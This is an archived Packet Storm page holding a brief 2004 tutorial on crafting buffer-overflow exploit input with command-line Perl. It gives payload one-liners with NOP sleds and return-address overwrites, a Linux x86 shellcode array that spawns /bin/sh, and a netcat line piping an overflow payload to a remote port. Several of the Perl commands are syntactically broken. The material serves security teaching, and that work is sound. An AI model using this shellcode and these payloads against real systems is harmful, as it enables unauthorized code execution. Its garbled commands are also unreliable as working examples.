exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

perlvuln.txt

perlvuln.txt
Posted Apr 14, 2004
Authored by priestmaster | Site priestmaster.org

Brief tutorial on using Perl for developing exploits.

tags | paper, perl
SHA-256 | e4720a44d55438b6c8443d0789e3f56d813d0b5b979efac1ac7a1e23c05e3fac

perlvuln.txt

Change Mirror Download
************** priestmasters perl for vuln developers ******************

Command line perl is a very effective tool for vuln developement. It's
very easy to concatenate, repeat data and build proof of concept
exploit. You need very long if you always compile and change a
C program. An example:

perl -e 'print "A"x100'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

print 100 'A' characters. Useful for buffer overflow exploits.

Example:

./vuln `perl -e "A"x100'`

Start the vuln program and print 100 "A" as first parameter.

./vuln `perl -e "A"x100'` `perl -e "B"x1500'`

Start the vuln program. `perl -e "A"x100'` is the first parameter and
`perl -e "B"x1500'` is the second one. The whitespace between the perl
commandos is important if you have more parameters.

You also can concatenate some strings:

./vuln `perl -e '"A"x256 . "\x90\xff\xff\xbf"'`

print 256 "A" and 0xbfffff90 in little endian (intel platforms).

If you need shellcode in your buffer make something like that:

./vuln `perl -e "\x90"x20``cat shellcode``perl -e 'print "\x41\x42\x43\x44"'`

Print 20 nops (\x90) then add file shellcode (it's a file with binary shellcode
data) and then overflow a return address for example with 0x44434241. This
string is only one parameter, because there is nowhere a space character
between the commando subtitutions (`xyz` is commando substitution).
If you need binary shellcode data, download a shellcode and make a
print("%s", shellcode). Cat it to stdout (./shellcode > shellcodebin.

Example:

//* Linux x86 28 byte shellcode. by bob@dtors.net */

// File shellcode.c
#include <stdio.h>

// The shellcode string
char shellcode[]=
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
int
main()
{
// This code launch the shellcode, but we need it in binary
/* void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr(); */

printf("%s", shellcode);
}

hack@exploit:~ > gcc shellcode.c -o shellcode ; ./shellcode > shellcodebin

Another way to overflow is this: (for vulnerable function likes gets(),
scanf(), ...):

perl -e 'print "\x90"x100' > buf
cat shellcode >> buf
perl -e 'print "\x90\xff\xff\xbf"' >> buf

and then start your vuln program: ./vuln < buf.

This is the easiest way to overflow stdin.

Now an example for remote exploits. You can pipe it to netcat.

perl -e "A"x265 . "\x12\xff\xff\xbf" | nc 192.168.150.2 99

for a vulnerable program on port 99.

***************************************************************************

I hope this helps a little bit. Sorry for my english. If you have
questions or you find a mistake, please mail me. <priest@priestmaster.org> My URL is https://www.priestmaster.org
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close